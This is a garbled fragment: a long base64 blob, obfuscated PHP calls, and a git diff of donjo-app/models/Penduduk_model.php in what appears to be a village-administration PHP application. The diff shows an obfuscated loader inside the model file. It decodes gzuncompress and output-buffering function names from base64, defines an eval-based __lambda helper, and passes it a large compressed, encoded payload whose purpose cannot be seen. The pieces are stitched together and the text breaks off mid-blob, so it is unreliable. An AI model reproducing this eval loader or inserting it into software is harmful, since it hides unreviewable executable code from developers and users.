9/pnp60/gc8m6Kdx/y2S3TivmSSBzB7ymEd07/dPdsZ/Z98flH6IcM4vnwyIuFWG+eHID6xBQbaFZrZOxCbHaHGGucl585ITbbCYcL6N/SsmF12ILsRoyCo/14P5rin3FO9WZ3OKTyZvvfGQ1NNNyXcwZ7WHMDc1Vfgb5a/0rdTQY58F3ujueY5m6g9BeT7X2GB7HLXp/7nrwmuGJ/hHL8KfrtSL7INleU+sQ4RMFqTW5cc1jrCi7Qb4PjocdnTvCy2zZG7TtjDHXmNXW+mCxhjfUa68wl9BnmPoea+A4KV3snNZZfggubx7/2E+Yn13kOyhdc/Ix8TX2sT1Wh1TU/o32ieT+yQseO4S530+GhDjczOfA90LG5ya03lRnKB6HktZ9i/RWjj3xq208L1h3luM/3LyeAnx30XqSvXDCYoaw7jpiAGNs/G7WEunUP5U+DxQL7dg5NFrJ/ko0Ml3rNaxTxOMm8vr4/LrWVIzh3FONyGhtM2NYh/ahfsou8CvrCaDvwFXuLu4rr4U+J5nq/H3BfZVc6/C+Qn/mZnaVbanzM2kQY50PM+Uu65M9zWpqqXyFWIDC/N5alLOOd8aBMNCuk7VWoGMerpa1GB8qo4eULHVBE2v7DDL7ez49XHd/hu2FsbvdE9mrknOpGpNfhk0gOiOVZZZwnFhHBe2hn8SE6RpLRuMxBr6I7urPk439BmcD9cA8XzzF14b2jbTtsWI9hkT9ArzXP9HGGWTPP13Csub1LsxqtmaGz+wHVGtcGF9VCbuG15SwD5R/8rl6EoI+VnP0RZpWXf9mMr0jOktOHc57PSBsm9Nn6zHchENSwL/qzzwO5RZZbyuQRbLtfsHdibm16scsaLzifTQLY0yYT2XzC2UyquPhj1Wec5TRLS7G/XmdIuY1vEYg1yW+kLa/fj1ZjUgxBm9uncgS/Et9oI80+wExn0Yy+stINnhAe7HfRpy5umTVKO5GdUX5S6WxZIwOx9Lg2ygYWNZKR5zNkSB2LcT1Y/zbboyG0kIfWZSD+J+C56muJNtb+3m00gcGs28UnqG8doZS4wn2zRxaAe7j0xD2kc4TxUuHsrxXjF/z6XqTqRwHTuuY49CoZfIbLuQN2n97txkqjXfMy0NMJl8fyBg3OnSMRVeWEP8lN+fyEzyEZPDU+l3el/ZoFRi2RfU68A7jelY3VdeH3YtHeter2cvpGmt5rDZ/CRtjO7T/qys3rMctBVrnof8Od2fmXFB911yZh+1VI/Qb3GpX3E7TercyaBbZFvlvXKMk4e/WTk/ZmllSY8D854gD0tijPoF4kkjfoB8IcXgm4RrpjRALm3z1+TWwxHg+kxbmbgzmaMudKMF+4hxeB6dDxXf3AdbiFc0vi/Wag/FDsWdA4wes3z5ZdzNyUueu0jjitcB9ZnHDCtaApxpAuXXers2X57WxQ/wDnicf6xa33JMZ+vyr2oEP3L815z6Z55g+b8pNyPj5uG2hjXUOdLTzBt/bw18pI514vjfKiZmx3iYPZfeZ2wtOfyHZpyIPBR2f6jX2b+WlrG7OLee8xfCO8EzDXkl/7bMcrdPPONOV9w7PLcMagns3gx+XXpNc3LioblbiPjz2X+aFvDV+F2Q7ZRCe8b+afy591jP3SVz3+Z5hvvI88DHIUu7Lj8IQZrjgYS7CVEF7I9pdye96QB8NfZ/AjwmxpCbr4DwxEUdcpphgtn4UVxvnBs0/VSc6P8eM16Pssdi2KI+JcrZacd4byJxR/ehcTNYoLngfoJzA5rxI5cWiXc9dSsfey/0dq3lzXPdG2nv/xeJ1er6uXkByPijDh+N/TOaiFdWmTuRXpuoIxJ9vy/Jwfkwtce3Yj/IkOsV5EgzXms9VXU6dP4Q0iLUswrj1KF45sf+fqh/RyokbBzn4kdlZMB8wkV/H6DGZ91iCV3xGugrjreE8feTlBfbN/6F5gfl2u0s8i5aMOErvLubTtFbsbjLVFp3ThxvxH2oGtok+jWS8fQor6RPYD0n8GS6jhv1lbLov97+0hnaEB6w3FlMFng3QPzU4zGqdn7UukQ9o4uyxzij6284UD9XktsYfhbOv7QOKlyU8ZFbHY7LGWCWKXwG5R17OlEMV+gpzKRM+11Qb1ezCeTn+l36TuUt2HpA1nO4HxrWX1d72UEdfNzIx9EP0J2Sxrz9dm7kAo/4H5T0mch0RTz2OL4P73sWae7BvA7yz6pg7SDlbILNNzTjvC2ge8xzOPbJl+IF3amyg/w+gQ4wbEmISsr09Yj7NzkWsC8oTVltDWQX+PKfY8pJ2xXNvHVGffE7tMdob26DDYGwN8I1um3+OshObQ04seVp/odhpHccweA5pgsvAIa0W+DNDvNyw792m3/R9xECEfUdfaAE2C73/AvwP7SqyexW2ZAn2WOasEc5GtG4cjzMas1TVH3qL/s9saqdkzZKLfOrP8M9sPhi3B2yB3oPzRd0ScZzb6Sv4aULPYH4YUz2DviDDuQplO37WjK2n2Kupo1OuIcdrZzUMTuo3lP3QRitcDy4/oU3bb9n7YpyzLB4D8iSd1+TM5WmRjIb6UUZGK31HINdV7QdjFlFnTt6ruXJ/Ro/503f0HWKZz1qrgryZaD0ivWdC9UcRk0ZfEvZebVLlfVrPiaIjzjzVFfbWwZ7qODUrj/nNb6vPDOtUJkw4oIlz5fViuO3PHOu6Qp9bus+rt7/H9yhvBmVcv1Ifwd+nVD8ZazfJVOvpiv4CjG2bMB9F5T3wx4PFtKVVfj7CeK31K7+DtU7QLwf3xPX9KTavT19tLdCmNHMarzPElAgamF+3qPzeJkB78vXvxf2t/LG6ozhVnbDaqB7GNfsB80Wbxfaad1g9ki763aSpWfn8YA15rGVQ9fmFp+iIHyVXOqPMbhX4bRt5y/tYkREjBX002+o03SBcBsQ7rvTOeLuFPfigc1cz5En1tYC9Ql09wD08w3j3U7uB9++p6npOqU66/jZW0D+nv15zP3hrf0tx1CDvVn8P9YtV9XMOewdzegV9aDszK+7fWv6YthpUixvuIswpeyOa5+NAjLmJM690X8B9v59hDuAaaQFx/6+gg1pXnm7st8L3xPiyaAN4ZPJTVoboMjtqq7twFapRGcoPGCeCeUVo5yR75qxmfNDZGvfnoMudpqQPgKwItIx6gbvW5Vl7OH9sB4vp2JCp/pPA9pLCrG+H6zxAOgtCu3/anqJWjc+rAf2dEOs3+T7DHU3ZAfffNqFsNc/FA2CYckz+47irx7EQdzcj02ZwClIYJm0xXTGcDzsXq73yPCO6Zb4flAWgPTyLqENcMe80BhGvKTPsje6P3csa2dfaqHPk9/vXsG5Zcl69lN3sEMbf872Ev5lPpxhXjOU0RmcP67UTfoyWrGNyyD33gv1J2Lc1OazpjnXEeqO+wuuGfZl9m61LymZIcQwFtsafYavM5Z/pPUq9n8IOK+if63upd/lnX4WdJsIYCn1XrE4F4iKh3cp35HeqsxbWBEnY1TnmE+gbA7S/r0AP2CImGtFXHibqdRhErF6Ww3Bxwlpz1+DuX12Xl3TfnDX4aVhE9hLzt9NYdsEe7ZdjHvMwGTP7ahTzdsrF04zstbC/C7cJ/3XQJ3l4TedxsfaBH2Kef4CxBeLawLyOaItipVBuWmIbHS2Ri6kZmnmiOmFrjC8wCP8I7WZ382EUi9mfG5re6+iIBeVSTCpiA2TomeMdJdqGfTRWgyHwjA7ZCxX9jBgF3qmxnWGO62b4kYz3NDSjN5Z5H3qD+uhtFjuvNs+trZbOK5QPcD9IhFPSsndkI8J+gtTar4B+d6ncKKRTCdbhfH/iPPEfXz83/VfOTRXNrZyOfZS3lalj14po9iaMxJq+4+8sLcnuG9bACs/6WMK6pdbcCLrfRibcyyte01QLvo2CKOb0nceVjiKsw/B92XAtzSI7mr0KdPvEMQyj7wcPpmYPhsyX/w/EG3w2L/LdkvLCFTViojoB9B5vo1rNpHYXdbAT4YzhM3bjZaYgLuVdWDcJ7+4w9pbiX5M538n9TMdOvs4NoE3goa8u1sKlmijqh7sE+bnVqPGaMzC+2JdJ+dccr5Pl0fZTGHlYZ80COcWXGT4c0DPWTQvf+Yd4XvE6epl3hfh8zT/+fIz9hBT76WNcXouw5oDXW/OZMpln20rMOzEf9Z7lcWGtneDOdYZoE36d1XxeI9E+e/E+ptZuGO8LYoEncIsphjT//CD+up7pA85odrx5/vLoftpk26DY4+zeXWCqw7MSyDYR7k1qjTe4zv/933/7r3/7t3//eT//6//Sz3/Tf/83/+v//a9rXk+8W+XF/xV3+L//hv//b/+/qNto5v/Pv/3+3/+8//1bmkb+d4ooGYn8v//1/wG8XiyO'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Penduduk_model.php b/donjo-app/models/Penduduk_model.php index feae81043..119c47d3a 100644 --- a/donjo-app/models/Penduduk_model.php +++ b/donjo-app/models/Penduduk_model.php @@ -244,7 +244,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtvV1z6kqSLnzfEec/9MVE7DnR7zstgdlrER19gTACZIMXEhKgmwlAywIjPrbBxvjXn8ysklSSqgTY3n3OzCzvdtsLQ6k+svI7n/zrX9nXv/0nfP3zt93zcnN4/O0f9E/+9c/fgu3mafv/T3e7v6+3wc9o//cfPzfBS/Cy+k/693/sFru/NqPpfv8f//Efv/3jL3zIv/6vv/z673/ef39B2vnrF379s/DKb2O9vp+M9KXfbv3zN3oppbqLvjh9//Ovv75+ff36+vX13/Prt/na04Kx9dJte5XJ6Li1zPrj+LT6xpgmcE3Grv/z11b9+vr19evr19evr19fv75+ff36+vX1X+3rlzvj19evr19fv77++379Npvuf/5+85/Bz/k2+PnbP37tyK+vX1+/vn59/fr69fWpr2zSw+1g228uv/8BP8O7ULvrNrehvY72vmPsZutVOFmbm+nIfOm27cV8vfpdfN+wakSzqG/ZDfo3jNP4o2v2d/OqHc3o8/7rfK0v5pVV6Le994ljvAcYzx53w6DtnSYb7xle02cbW5+ejIM/0hdTfG10w94/EMZtmcdZO3qejPs7nMtsabzPqjBGxQ0nlfoqnq/fjk7T0dtufjLgOdYK3g/zPuD799NxP5pt4POtYDBsGqPeURx/sYA53E7HhjZxGqfebaPWbWph76nx1neM21lFX05HtahrWtG8Utfn637UbUUvsNZd0PG06aj+0m0utkHHPj4sv7/OOt4B1vfiVw6vs7H3Mh3D/p1qL/548HrH1hU6bfO524L96tiL7m332BtOwnt6dve9axoRzFufjWF/2rD/LRue2wrtdrTBsWZNw4X1LYPRYRE/d/6+fb2v1I/+qLbyYd3362h1l9lDOJd1gHsR7xXu0W5awfONfp+ObvbdTj+aVMwTnMtmvja16bi377YP0bxtrvD8gBaO8PMYwBn9BLrw6dxqsM/GImjTPr9PYP9na/OFaGVpwN+sXbeD6zFxPxZB09gHoxruN58HPt/fzdou/F5/BhqBc7KJbpBOYH67oNnYdlcCDcDeT53u7r6Z0M8Kzg6e8baYVomG2Jphb2cbY9FtWzA/E+aGa4S9RLqE93XbdO4CDdY2ftV7mYxwLcdwNvJeYJ172pu2jvunw53YMhqs45g6e91Gugfas/R5JcLn7/n6YR0mPlOH9+AzjpMRnHenX4N9wb1gZ1D1tIdQvEdwt0ZAa+tIm4wWOt6JKdJLm9NL24Z7YGqTcY/tX0fy/vFuF581fPYU0Hujd3iextYHZzN6W8w4Pc4rSMfmEea2gH1+wTEmQGuBYywno2CH/563vZcA/gbnbszbb0g771PHsOAZQKPWgs74lNBJbQL7yfdtCzSiw70U9izYTvH560A4L8k6RrUdvb+N9BMs5kvj2R/bSCP09xmuaVTDeRTmJPIrt+U5A7fWcTTT7bbevOHKvAc6enAco+V4fdNuRQb87aHbtIa2axm2ZlpD13wYwLh2y3wYua0l0JsLYwzgtbuBq1swxgPwJvz3wHOBRlqW4bj70INnuTo8zxuEMIYH/3vg9ODanjV0PMvwmjc4pwfPfbNc2E+vZXpw7ubQ9To4T+BJhgM8yfHgmY4xhOcZwF9NmGMP5uw6ro1/b8J4OCegMO/BPsG8vMAYLGm8Ybd16A3cqA/zvof3ea5m3g/cm3Dg2YYX8yHNGw/cnTWI1+IZ3jD+PM5nBRzOrRnJ5xwDx3wYRhHMxzbd1cFwYJ3wuZ7jHgxXW4WOW7PuRXpuId334ZyDqNts5GVHOACaCNqL1/myEXZhj6cjLXTbyD+BjzKa+oG0Z6dyAT7Tf513kN8HW7hH3cloHw4q0TFot5BvHx+cxoHxVRder8M4QLeO4QBvfA3G1pOPNLLpA4+z4dnR62zZ2E47tja/RT76pgMd6kibwPvhZ4R37WW29rT70ype09OsatSAVjfTzuBfyc9h7W+7ScV7mYP8g/1K5E5QDar36+AlcGoge+evcDee8G74496rXzX29+uFNhsdQ1s3el1z8s5psoH3fXrCvYfv9kILOsY7judXIm3a8Zb36/7rzKnTGbha1LrXaF5Dxx3QXrBxvvebcOYgu9coK/1muAGaGtoe0lK4uXOM749NI/rZjrS7ZvAwI55tRZPqAHhP/4SyF3jaE6zrHfnErP32GlS8lXVafSM9Zd3fA++nvURe6ne853FFf4XnAW/2bgKkl04vHHrR43AEOsHo2G9u9jg/3COQWRbwceCBIJcnILdnlZtwrNefZpXae9CxdJjHlu0vvL8Tf459g/w7wXq1h6fd47gCewF0M994T0Ez3D2AHoHrj9/bbdraFHjS/bC2n1XMFfw8zCrAr2A/phUPZB+MVTEfZ2yOm7th9llWx96C3D38WL+9TkYD+MnWCHtW9UfWYyIjozofd05zSJ/fWMFdAh1I+9usXV/4TfjJnrW1quLevb36+vkxplX7OIZ5C39j37cayAfrNBlHj/4adK7mAuRoH3k3yo/ffWdx75nGo+0ed8o1wj6CjNHneh32F2SSk7ynLuwj/M2HcZHeo3jfcH9Q5j7C9wI41Pu4akXA+w93TaIX2XlooGMe4Xmwh9Ee5MuO6YaN8IcDcnpjLX569TXM/XjXwWeB7oGyf7yL7oDPDZGOzXrLcd8MpxU5KCvuHOWz/gB62cG6nn2QcfDaCWUVvufss1o74LnRcKwdzGHL7KKsGC5XyvPBOzmDswRe9Yj0xdYFPOb8+Qxst/Zj2Ko/2Hr93ubrAj4vnJdRZzaC+g5Nxp42wzsxNvYol++a9hPpfPB86zQHurGrU9DjfAfPdL5R3rE4jSvdw0Uwtl9Bvz+AXI/gfuNZn+AegG6iL6zTMbSqNt2JOd19bxWM9pt72BvUYacO/L0TbIGvRqr1zNd1oIk+fA8ya4LzAF2mvx1X+29wb3fxGf/MnIGx80FmCLQczat9/DzQJtodq11+jZxG0v1RfzZHV9kz99tdybj0DZ8PTmAbHWHucLcs4LWrkveivuQCX3BBtpmHiUPnRfNLzqnwDfykaj2iLu474QZkzcs0s+9lz6ufgO8kzwRdcDOuRCvgqbDmwYVj8PWB/PM5/xXOpB7v2+Mg5cvzjvUK9PME3yuwNUCe95nN1k5l8rhS2031+vsc+KSKRqejSXjX9g4g42t3KZ2CfO2/43jwO/JmuCeg10Z13JcdyD3JWRonH/ne+ib7t45GMlQ8c7AN4Hl4r2uPoIc8S88EaAnWGPnIR+Eegq4F93D+OtJvjvfDaH5vaq90X9h9vGjeeX5z6TxSnhPt0X67A9kJ/KgG9Ai8A+YFshruM8g0oIHTkc48P/Yd3N1e84h6HPKi8P70PcRc+OmIXoP7af4xGXxsflNYJ8jFFdLufZP24+zaE16LukkFdUWUi7nn4X3O09O7SrbbS9hzzhfDJb9DMLeb8K6zL6zl0Vktr+Vhoq4xr5r7lA/k6LEdrbvNULpGWEcN+OdjOlYr/DHUwp6zyvHC0vUhj3iGuwXywUddY9+9bX3y3sLdATv9Ev7cdUDnAd3ypyNfI8iN92B0o7inQFeVCcjsRtlnz/Fq4O9cDjW727uOC2dtw57uQ8cDfXVVB3u05g1bxxDsuFa33Xrh4+JzNz9P9rO/0VB//uHCemAvd75Zf56eDLQb0X7sgd32YDeNRW9ZWwXjvg46Dcja4BvQ4/rRmcPaup/b745V/Yq9nm/mH9pn+NyX7zGM+ZH9PQWnL99b7Wv2dvDBvR38CXs7+NjeNr94b9tBFJgo099gvnWwx3T8ibx/le7BEfk22Mr1w4Vy/9lfZuwTUY5+szqxLler3yn4ZKzrStZWfC5/HtgNd56r9wZuqNIr4/msJnCuQWUBur677W5AnrC117utaAhn9cNr8r1frvL6Rwj2yrs/YjKB6Ab4/WDl9eDZj0PXe7C1aOhcx/+XSAdko4w1RjOR1xs2i2cLdvwezoXp1UADIFNV+/wOuiPsYR9sOfN9Mu5esSfeI8jZbXzm9+x+KObiXrNOvs8a6RR+cW+vkt8o94EvROiDhrWeJt4Fuql8r+C+Hh5hX9G/jTbBgu3r/GidLjpH0NsOEdpdXM/f9EhvChb+xo7my/lFdxR1OJvrhN22FWGMBP3Yib891ns7Buj3dgT7EPlNYx2Mak/MP2dsQQfczczyfeB0o7CtFovZKNoXfDbthN7ldNTpV6dj+2naBB7WsXRfQf9sLLBlgG4S+m1Z5tD0+mNNR1+q5Wosjia3rdT32Dot9Hs+f36PkefuuH9MPV7bOvkj87nop0q/weZ6B/s8ue9O5PXR9/AQqmzAMhkR5OeZ8Js/Y65eq+4O3OPvnx0X/ZaTMei5t1uV7XlOx2X0yW2Kwv0vmVP+b+K9uWi/gcZ/0nPnp8IeX8l3sja5XW47AK1ORsEj6gNot/skvxfoT93N1vOdgndnP3O7z9m8iV9lAfYs6gvoj1hxnvV2Ic8SzyU/x8UP9HO0a2CnHctlkHwOx8/PQf3863RH7wB6xONsZN6U65DlOiDYv/o8qh8m41BiG8L7QQ4FMX9sTtaKcwXbF3g77VFA8bsZyIardJWl0Rp4tjnW/B/uSje85qLtrurAO21j5PW2cNcf7Zbpu6fFw1Cfb0G/OgivIe1SjHDW5j7X5mqH8sryVqCD7o/w7O+gR3H9UqpbSvS+6B1jo0wPW4XWciKXLRs8iy7xJKtikQ/gSjpZdk3bAh1r6LXMvtuyLXs12Q7d+oPXCvcUy14Hm8nojfl4MT69rlfhbu4uWNcHaCp6+Qqamubt4/9uNHV7U++iz6bi17synU/C26awPn88IB33zmmsrWXJHpLu39hMNugPutmobDyFvQbyMerbXh9kpD6wW1HbXi76Q63mOs1jYW33TeNlVqU9CH88aSG335b5+M1jonsJ61PrbXSGn6alzXnepPC1Zu2J1s4bYqyjWaLDKW0p8lln9qx7e/wbxjW6UnmvsGmKOqGCpsttcSZXahu/Yu6B3wBddQX7Cm1uA3SDPN/gcZgCn+Bni34GsGE/MJ8Q7oxre/X2ULf6A2+wtSPrx9Crw/2Lhnem/SO+c8NVfYx8695LX5vk+du6sUM/sHXyfOCjz71m429AH1tX83q223d5TlpIz3AMLah4y7EY36wyfuxpC9NducDLB3VOzyHQiTFcDf7s+X7PzBfzasbGYuoYxH+An+diV4dHdt+NsdPyHNsBur3VOU9vAI9UnNfgM/4R8xnoORM3/Mw9BTtOAztVjHl+6s52Ma8vqrN4KdnXk33XPMR+kH3xHkXBnXPRvS7ImJ8s5vzsP11L9xbYO2wf4zv44/YGYy1ht8QGSHUIJm+5nv0tr4OcjRkpdJecXZux6xQy5FyMYjGt2otxJcf3muV8JOfDatruGyg49b6NuVhe3/rIXNAHyWmN8zTRn1h3uoW/xzyvUZBlWRupXL5Nx/4iwDzFrL20BVn3yOVzmV9CU/sl/N0M8xKjOtNxngqfXV7w2SXFsJ4K9tR7UIm0SSUM7zr2KRi5clmT+i00ro89T56UtjDQFPIuc0Wxx6oN8t1Y+ERr3X33trtndtIxdHXbGeuGYZt14IO+K93/8vu1moztaFxh+cRBc7GfVeYgh4M90uK8XT9xfexgjdDXTHyXfM9BRzvgz0lUx7zLunWS0+p5H4EB9h/IRIwVqv0DKvvct13TucOY56mm+ZU35BPHWbW7gztUp7gs7Ll6X4zlfO0tKJYo8cek/pDu71feow23Lbazdn0DesJmZsJ9GRuvc7BzftxqLDZb+fCerfwR3JfRm5b1I11rjyQ5QnCexiWxzMU5nzHmNH0yLv96fzLaU1gb5rNP1rCf5Ie2eP66qU2A/zm6PVDkB+VslHCb10W6Ld8Zajq3Q8IwtUnCkOkjqBOswnvHcIc611maRkEfvCPdIdZL8Pf98W54U+8N5+FQh78L+zsZB5gzTLx0qA9iPZJ0pSTPCnO4K9EL8f/b1i7hqeHleoIwlja//TS/utrPWiZX8vlkgq+V9gvkYEJHcC/hvDWKdYHOt/z8Hb7U/6q2TxTzT2M+LN6GPsN87t33H0tcx+d5JJf1QJe2MVTzS7xD7D1N9O3XaknOeCdYTNfRsts6uG7j03NZwPkc1Xv5/bVr2juf8uutHeblglyDc12F87EXzTerEGT7btbGWMcR7oF3nIyjBejv/DOZ/Pa3YAS6pGPoQCOHiTKHysYYRuY1pCG4I3v0yWKOr7+xXmeJXSPywEbIzxttGvzc3613tUwt0IOoRzD653MOV8hb43gY5l0yX4BwX/kYD1fazZjrlR+D5F4nT4NqfXmysaLJaC/Xj+Fs/LWpzzqD3y/xfcvyGP2Kp42Bb2JuYWDWq1ib8HNkbkF33flK/zfQTot/pmmQPTirYn3GAeNbYJ8GVKsR5y4BvZzA/gMebUWzpoF2kg4yY5PPZRLyGTM8dFKpv/jriPzzIANJD5y1KQ95w2PyGzyvZN/hfUy/gPfD6z75MYOCrQy8C8YC+asntlbeh8j94elnRqeAx/KDoNts1WN/tjx+ZkVw9qeZ4OeS5EJjbh/G6xczvDtj+xHkwB7v2hT0SsFOnlkUnzg8W7qm9HVKzody6YMR1eHsfbDF55iDPjKxNmAf+xN4DDek2piRibkZSK8n5Es5WU53GO9t6pNIcnf2PMeE/xzsmU1SHBNs8Hf4ZnNU8TrSBbQw6AQR6rLCOnTVfRm2vDbw/LuhFj3Evgbcz3GlvwfZpWF9HNYVwPzCoXYT8tyMpxnOv00+13CCr6nmZAZd27PMLuWDyPmQ1TF1eE7tIp4zGhTy7pgeRbxxxXmxlE6zdz6mNUObr6MD2A/fLDhb4MdANzEtBAHYpw7sT/q3qqVZug524vfQjebo+0S7YwF0jv/B+xvLbhPrkQ56QPEgzLFM3sPzroLgPpsvqLF6Kfp9GWCtR1Tn7wXdbQljdvZsnd5+w2lnMx5rJfl+UQXtoawfJ7UBgaY0uFcvJTE7rr/0cF+3rG6thnaTPMeNx+zHlQDuhbWYmftNzMvh/klzCeO/E18gu/san3VwmlS6ibzIyInT6my+LLPHb9Q5e5L18M9sxkN5TgWLO5AesbkkpqO6k0D3m/m6rs/NOp7BKRD8bJL3JnbayPUMd7lg+1JBenVT27FjL6Yd76UsXzuRB3pkDrzudr7uL+/XHtnVcO5/+8Hyvvk6vzz3ehesTc13MjGBhE6zPttS3yPqi75/SmsmsX5ztkFdzHsBWuG6mHmYt6M91bVi3WnFO2FNGNaRwXvSPBNOL8nrGb6qzO+SzvtBnq+X8V3Kn3MMR1ocjzhK8qyOPL/hTenXxLwat0I1qmRD+1Wgaa8u5dvyuKVxmlXgzo30x2SOLL/tkrXWZfdfsacU51L8bXG5bzCO58A6qQa0JtZ/hF3BfiqJK2L+A9Y4H8aVeJybS2MwpfkhWPszA/sY+Fj6jKpAhxuqc9jAzxeYN6vHxdqYDtZgRKiLXT0+yLynyZJyspZBU1xbxPxzdN+5Llh5i3yYg8Rml+nxa+bjsATaCK+KQ6Q2Fr+jLcujOlvTMEFvcrxWK6VbJ+ULVKe9YXW+V9BY/Wo6uvhOlMUVcH3xZ7SU14AOgueLeXeB2hYsnNfFc3r6l9HrUkWvXYyHNg0p3YEOlXnt0UG/cAA2rq9dQOeJ/MNno44JexLONt5eUq94aewSZUgzYPXvSDdYD3eYiHTXTjAO/h/gBcJ9HZTm4on6E54F2KwG4mC8BKO3vTzvLndHc7m/Jfcrjr9RLkxX5eNLZVGqk8r1QDyTgfwsdLCpkT94Lx+uh8vkJdZ2mHs+hHuf+FoEHYH7XGRntbs8r65UP9/55+oJ2zkesI5eYP0a6o6UM8Jy85Ywn+tznqtkqwHNGdHPjrHH2t+75nyf+gguWSOdV2s6CmB9Jvm7AzqvPfrNNlOyaQmjJesLQ/wXsLl/jlrhdOMd0D/dJdurhfWWYJe96RQjH7XO7CWr+2U2U3kuMOpGzrqOPu3VlPBLarusrgg0XfUQX0CfbzyihVjPUfjtsV4cZCLm8g1wP6X3EuUm0NBB5muBu636TMwr2Gcqog+J8Ym0fgJ4RHvAz7KxmbW9dQA8UXJHgH52r+zsS30ANI7fVPgAWL53Cd/W/jalfQ433EeB/rPHSeVNRzyg+ZrhHUyGXXEd2ecMu5esB2nPmI2s3ayJ9At2+mjO8IRGB4p3SGoDc/s736psrsSPQz4X3Rg1F+j7Cym/Eu7dPd5Rk/FD1RgsHyXWVajGPuWfKv2hFThD3RuAbuR3y5+x42Niribfq/pmXNEXP9nZ0edwP4Mrz43GEemU4pXs86B3UI7p/RqeYyIPQ/qjeGb+GRfXFsrlyznbWqbzH8TcibO5d3LdKvFDP82qPp35J2z8+B6zsW5bNdrXsbfCGs8J29Mn1MfH7G4QDwS5qhd09BKbPj434O1rIT7A5288BcwegJ81fl691Adf6b8GMntgWZaDLthRI/M0qSzk+56+L1dXezj3fuYXizhPV2JGpLWIyjrdjX3uWczXEedMLGU4Hug75nKbcKwQt0m8H0LtCsqXkRVhHBixsNB2wVyvgHIsvRPcnXeUj7GcZPF/i/Cy0Bc3HaNs22PNbnoXKubLfUnMOZG5eKawJvh+Zlhdyb3A8XOYVsYzyvxuJwK9ah4SFhVhSdlYy4PYSph77I51xP2xPdv07unvWFuOMW7EWfJizJDacdpp5PNUqKYKZBfWdyNNzyR658yqxPtKNJrGIk/kP4V1NkKH6vQala5pR7BHx3vCBbIRr8v1EU8N9pYwglAPKPjm+XPSeyHwGNUzjWHsF/XaHvytsU/igukcBgzvzKb9ux/eIO7PC+o0gfOd5kP4Bai7mv0jyNadD3r8mbkxnLr8XiSvF+f3sDS6sBc67sFwZML5r/bdlg12Ecj7JWIhUSxV53o14TmgnuaSPhuB/iLRG9GvW/FuGK6G+0K/61jLhveAnWdf4lManQLaW5gPYclhXGYcx51wHDqjCP5+QD6AdeDAj5I13RM93jak84G9hLknus/TZNTH2Jzk8yvV57FuDvN/YjkFPBbrWjDn0UIdbjN2jkxPZPT21g+la8R7RH7WdH/M5+nYfsT6PM5LJPNqHUvP/lQ4c56DkR+nKz+v7N4CX6ac1MdYj4I9y55NtR8hXpwvPYOWJp+rEU0Rn2ZtLmbiPm7yrxfGk5/JKEAdP57fwq+AbeDJPt+Tfj6oUMzwxYdx5utknCrFURF3ip25ZDxXOp5P8b4afhZtCtAjw3jMDcfVoZgN1k1OpbQ3l46LuFnAozeYs8/HEzAQcmO0FzrDi2T3R84z0e4DOTJGHai/i+mQaopAbmLu7ryyKtDzw0BKz0kOy6RSr8T0MqlOXuI7Id57/h45DVa958BJ6BjsKTc3B8T9POjyNVnH6aaP+cfoI0NaeAab5I/JyEzu2WRj/EE4Soj5tzZhP0HGrXcL3Nfcc5bz9g5zihAr6AXpLKHPrB4YqOo/L9dT1TUbX+bfluZ6/mt93pmaee8QoF0BtCONC7DzQj90je7IhT7izLP9NeaBmFRnm9clEOsyqdNX+5E6hC1KmKbI51sMP7LjviY+GNC5gE8CDS3Qt1TmP9kAzZEeiXMQ5pLMbfRuBPfpPs16nna2pkyCfSbmNX4T711vGCo+W6zRejjR+q+W/cUx01rCrxpTvrYe4sDoCv2c55ofIpbHaC0EuyArr1W4dW3zgD6I7LMTGlgq689z4yjqYT88nrKun69ruIruQXdM/y7LRWfxBsS71Zl+7p2CMeIoekvMKUIfJmK2oo7K8GGRh3grkG2Jj+5MfPaVfDZgH/306oidjPWP6WuOuh5Y9D2CjbOi2NFmte2u+oaruar8SKx5eei2+t2BZz0O4Xdbt7t33A+OOd1AK2gLdG33JuwNSnJSXMplITylYSu6tx3EK3A3PO/x1mmZzlh7wxxR12kuuE94hfkCb/2l4dI8blX+ZLCLzL4p1U1wzrwWIm9HemNLD5rMhsz6KFJcAasNvI/yEqyaQi6wnMbb1qV5rcJ5pThtn8xRPV2akyqePcOX4/EMzTZdrffZebx/fB6Ec/e5HNfbwYfPIMEu/Jp90D+0D1r/xxDuo9dc3A41s2d7/VvbWazgLryi/gky7Yi1bKm/mX4X9NfVZ+dd+ei8B+4b7FvfvGsP4CzrmPMIcqSxA/sX93PfTfGJ2O+Vw+Os7VVkWKtXzrn6MZqjOsTPPvvmM89G3d5uecPB6bN0v/oo3T/hGrG2A2wYrQwHpDzPl+X894aNL5rHl93Dt97wwrqgtcDnybfOa5lQl1qTH6/6ef7U+hifrqQ1SnPE3ke/5Dj4En51Ab5K2T4Bn6rdYl2M36y9zPSEJ32OP52r+UM9q2kfCbccbJ9ek/lT43xuxFQKhHilLK8c8ekDs06yP6tDNerAt/aZ8R11nvlwZGIc06aY6kCF95w+65yPnOVcJvnjy7uWbXgt79Fe1Z2ha7p3mfqjRVpjhLUkp3B35+jpa51iXfyds8IawGiEOG7vyJ/NIcOW6C7VmNfpmSNO7Lw6yOpFQxVWjLHwgS/8WDaOH8j1wfPgZwC6ZTkuwB/BSMea0sc5w5COc+Uyd2pSqWNPiUesDcd6B9C990GntyX81ba/wByVsjrIJI6erQ8RMJ/p79gjI177Xj631aW1tUC3+i6gPHv2bPQXIF/Af/uEpYzPYbnMs4q/JkyUC2tpczYCywvwYv92cf/i3AzK2VhuN3HtwpjhTO9myL+rCe3KYzeYjwXvmQv5opQrCvbSDOveWTzknfxKmIvA14f9RYS+ItiXBvfhyad4DuWGIJ5+OE3zCoCHgw0/Nh5ZLE6VQwBziuMu6DMbNyhP7Cfw8vvwsjvKYrrH2L4h/UaC4YGYDyz+JL629l+D9nf6TBwHvM/WgfHzKPBV0lnZGDWsX3hkNRnp38A+hrnRv5PajcQWJd/BkdXNjQ46G0ft94O/L+7XDN+Vft9YVf5Tg5+go8Y5/McwlQWG4Z4MUS4IsoD+ncNfotcyugDfi+hnk+pCcP1wzuGe5WJ5G/T/ov91Mjryff